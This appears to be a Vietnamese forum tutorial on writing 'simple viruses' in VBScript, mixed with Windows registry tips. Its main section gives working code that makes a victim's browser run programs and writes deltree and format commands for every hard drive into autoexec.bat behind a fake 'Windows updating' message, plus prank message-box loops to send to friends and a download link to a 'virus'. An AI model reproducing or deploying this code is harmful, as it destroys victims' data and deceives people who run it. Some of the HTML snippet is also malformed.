HƯỚNG DẪN TẠO VIRUS ĐƠN GIẢN
************
KangTa 098 579 1989
Sau đây tôi xin giới thiệu cách tạo một virus đơn giản.
giới thiệu cách sử dụng VBScript để viết một
worm nhỏ xoá sạch ổ cứng của ai đó. (có thể nhúng vào HTML)
I/để bắt nạn nhân thực thi một chương trình nào đó các bạn sử dụng đoạn
================
<html>
<head>
<title>KangTa 098 579 1989</title>
</head>
<body >
<p>chuong trinh notepad se thuc thi
On Error Resume Next
Set WSHShell = CreateObject("WScript.Shell")
WSHShell.Run "c:\windows
otepad.exe",1,False
</SCRIPT></p>
</body>
</html>
================
đoạn Script trên sẽ chạy chương trình notepad. Các bạn có thể copy vào trang HTML
và cho chạy thử.
II/Đoạn Script để chèn một vài lệnh lên autoexec.bat trên ổ đĩa của nạn nhân.
======================
Function FindFile(PathFiles)
dim fso,f
Set fso = CreateObject("Scripting.FileSystemObject")
If (fso.FileExists(PathFiles)) Then
FindFile = True
Set f = fso.GetFile(Pathfiles)
If f.attributes and 1 Then
f.attributes = f.attributes -1
End if
Else
FindFile = False
End If
End Function
Sub CreateFile()
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.CreateTextFile("c:\Autoexec.bat", True)
tf.WriteLine ("@Echo off")
tf.Close
End Sub
Sub InsertBegintext()
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.OpenTextFile("c:\autoexec.bat", ForAppending , True)
tf.WriteLine ("@Echo Please Waiting for Windows updating your system ...")
tf.Close
End Sub
Sub Inserttext(drv)
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.OpenTextFile("c:\autoexec.bat", ForAppending , True)
tf.WriteLine ("@deltree /y " & drv & " > null")
tf.WriteLine ("@Format " & drv & " /q /u /autotest > null")
tf.Close
End Sub
'Kiem tra xem co phai o dia co phai la harddisk hay khong
'Va tra ve true neu no la harddisk
Function ShowDriveInfo(drvpath)
Dim fso, d, s, t
Set fso = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(drvpath)
If d.DriveType = 2 then
If d.IsReady then
ShowDriveInfo = True
Else
ShowDriveInfo = False
End If
Else
ShowDiveInfo = False
End If
End Function
Sub Main()
Dim fso, d, dc, s, i
Dim a(15)
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
i = 0
For Each d in dc
If showdriveinfo(d) then
a(i) = d
i= i+1
End If
Next
If Not Findfile("c:\autoexec.bat") then
Createfile
End if
InsertBegintext
Do While i>0
i=i-1
Inserttext(a(i))
Loop
End Sub
Main
</SCRIPT>
biết để tránh thoi nha.tôi đã đơn giản hóa rất nhiều đoạn code trên .nó sẽ không còn các chức năng như lấy trộm pass hay khóa pc
THỦ THUẬT WIN
Logo System Properties
Đưa Logo và những thông tin cá nhân trong System Properties khi bấm chuột phải vào MyComputer , cách thức như sau :
1. Tạo một hình ảnh Bitmap có kích thước lớn nhất là 120x120 Pixel dạng ví dụ có tên là MyLogo.bmp đặt trong một thư mục nào đó , ví dụ C:\Windows\system32
2. Mở NotePad tạo một file có tên là PriLogo.Reg với nội dung sau đây
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation]
"Manufacturer"="Việt CNTT – Thế giới tin tức công nghệ thông tin hàng đầu Việt Nam"
"Model"="Acer"
"SupportHours"="24 giờ / ngày"
"SupportPhone"="0914250036"
"SupportURL"="http://www.vietcntt.com"
"Logo"="C:\\Windows\\system32\\MyLogo.bmp"
3. Lưu lại file này và chạy trực tiếp
Bảo vệ USB khỏi virus
Trong Windows Vista khi virus muốn phá hoại dữ liệu sẽ "khó khăn" hơn vì bạn có thể dễ dàng thiết lập để không cho bất kì một ai được phép nhập dữ liệu lên USB của bạn.
Trước tiên, bạn mở Notepad, sau đó sao chép toàn bộ phần nội dung sau:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies]
"WriteProtect"=dword:00000001
Lưu tập tin với tên BaoveUSB.reg. Sau đó nhấn chuột kép lên BaoveUSB.reg này, chọn Continue - Yes - và nhấn OK khi được hỏi xác nhận. Tiếp theo, bạn cần tạo lệnh để khi nào cần thì chỉ bạn mới có thể ghi file lên USB, còn bình thường thì không bao giờ sẽ có chuyện các dữ liệu được ghi lên USB mà không được phép của bạn.
Tiếp tục mở notepad, bạn điền tiếp phần nội dung sau:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies]
"WriteProtect"=dword:00000000
Lưu file với tên GiaiBaoveUSB.reg. Bây giờ, khi nào muốn ghi file vào USB thì bạn chạy file GiaiBaoveUSB.reg, sau khi ghi xong, bạn chạy file BaoveUSB.reg để khóa USB lại. Lúc đó, khi có một ai đó hay virus cố gắng đưa thao tác với dữ liệu trong USB của bạn thì sẽ bị ngăn lại.
msgbox " Tao là 1 con vỉut mạng "
msgbox "Mày ngu thế ",,"Thông báo từ VIRUT"
msgbox "Đợi tao phá hoại máy mày tí"
msgbox " Đang trong quá trình xoá dữ liệu"
msgbox "Dữ liệu trong máy tính sẽ bị xoá sạch trong vong 5 giây nữa"
msgbox " ????????????????????????????????????????????????????????????????????????????"
msgbox "DELETE"
msgbox "DELETE"
msgbox "DELETE"
msgbox "DELETE"
msgbox "DELETE"
msgbox "DELETE"
msgbox "DELETE"
msgbox "DELETE"
msgbox "DELETE"
msgbox "DELETE"
msgbox "DELETE"
msgbox "DELETE"
msgbox "DELETE"
msgbox "DELETE"
do
msgbox "Dữ liệu đã bị xoá sạch",,"Thông báo từ VIRUT"
loop
Các bạn có muốn tạo cho mình một con virut mà cũng ko hẳn là virut để trêu đùa bạn bè của mình ko? hay là để Kua gái chẳng hạn...hihi đàm bảo khối nàng kết bạn ngay từ lúc đầu khi bạn làm con virut này và gửi cho nàng đấy. Và bây giờ mình hướng dẫn các bạn tạo virut nhé :
Mở notepad lên và gõ hoặc copy đoạn code này vào:
msgbox " Nếu em yêu anh thì nhấn ok "
msgbox "Thế là em đồng ý làm bạn gái của a rùi đấy nhé, Yêu em nhiều !!",,"Thông báo từ nhat_hp90"
do
msgbox "Bây giờ thì chạy đến chỗ anh và nói em yêu anh đi. rùi anh tắt cái này cho",,"nhat_hp90--> Yêu em"
loop
*Sau đó các bạn lưu lại với đuôi là ".vbs" và type là "All files(*)" còn Enconding là "Unicode" nhé không là lỗi font chữ đấy. Và bây giờ thì các bạn hãy thực hành đi nào ^^ chúc các bạn thành công.
++++C2
+Bước 1:
Các bạn mở Notepad lên (start > Run > gõ > Notepad > enter)
+Bước 2:
viết cú pháp
text1=msgbox("Thông điệp cảnh báo",42,"Tiêu đề của lời cảnh báo")
ví dụ: mình gõ như sau:
text1=msgbox("may ban da bi nhiem virus! xin chia buon cung ban",42,"Warning! VIRUS Protected!")
+Bước 3:
Lưu lại với tên jì cũng đc nhưng có đuôi là "vbs"
Ví dụ: mình lưu lại với tên "Raito.vbs"
+Bước 4:
send cho bạn bè cùng chiêm ngưỡng = yahoo hoặc up lên host rồi đưa link cho họ down
bổ sung thêm 1 chiu làm cho nạn nhân thêm bối rối và mệt óc - mỏi tay luôn
Làm tới "Bước 2"
- Bạn tạo nhìu dòng với nội dung như trên.
- Cứ viết xong 1 dòng thì enter xuống dòng, viết dòng thứ 2 y chang như dòng trên.
- Cứ thế khoảng vài chục vài trăm dòng....Như thế, khi nạn nhân bấm vào sẽ hiện ra bản báo như cú pháp đã viết..Nhưng khi tắc thì nó sẽ ra thêm 1 bảng y chang như thế....
_______________Ví dụ:
_____text1=msgbox("Thông điệp cảnh báo",42,"Tiêu đề của lời cảnh báo")
_____text1=msgbox("Thông điệp cảnh báo",42,"Tiêu đề của lời cảnh báo")
_____text1=msgbox("Thông điệp cảnh báo",42,"Tiêu đề của lời cảnh báo")
_____text1=msgbox("Thông điệp cảnh báo",42,"Tiêu đề của lời cảnh báo")
_______________...v.v...80 lần
Bạn viết 80 dòng thì nó sẽ hiện ra thêm 79 lần nữa khi bạn bấm tắt cái bảng. sẽ mỏi tay lắm đấy...
Tiếp tục "Bước 3"
-------------------------------------------------------
Các bạn có thể nghiên cứu, mở rộng thêm thủ thuật này, thay vì viết y như trên thì viết khác (thông đệp cảnh báo hoặc Tiêu đề của lời cảnh báo) hay tùy chỉnh sao đó cũng đc....miễn sao thấy hài lòng là OK...!...
Nói như mình thì chắc các bạn khó hỉu, vậy các bạn làm thử đi, rùi chính bạn là nạn nhân đầu tiên thì các bạn sẽ hiểu! mà làm khoảng 4~5 dòng để thử thui nghen...làm nhìu quá koi chừng bấm tới khi "rụng lông-mọc râu" lun đó....hía hía hía....
Ai muốn sử dung ngay thì down thử con virut này dùng tạm: http://www.mediafire.com/?mywwyiinmmz
Nếu các bạn muốn tắt nó thì hoặc là khởi động lại máy hoặc là làm theo mình …………………………………………�� �…………………………………………� ��………………………………………… …………………………………………�� �……………………………….v.v…hj hj
Nhấn tổ hợp phím Alt + Ctrl + Delete
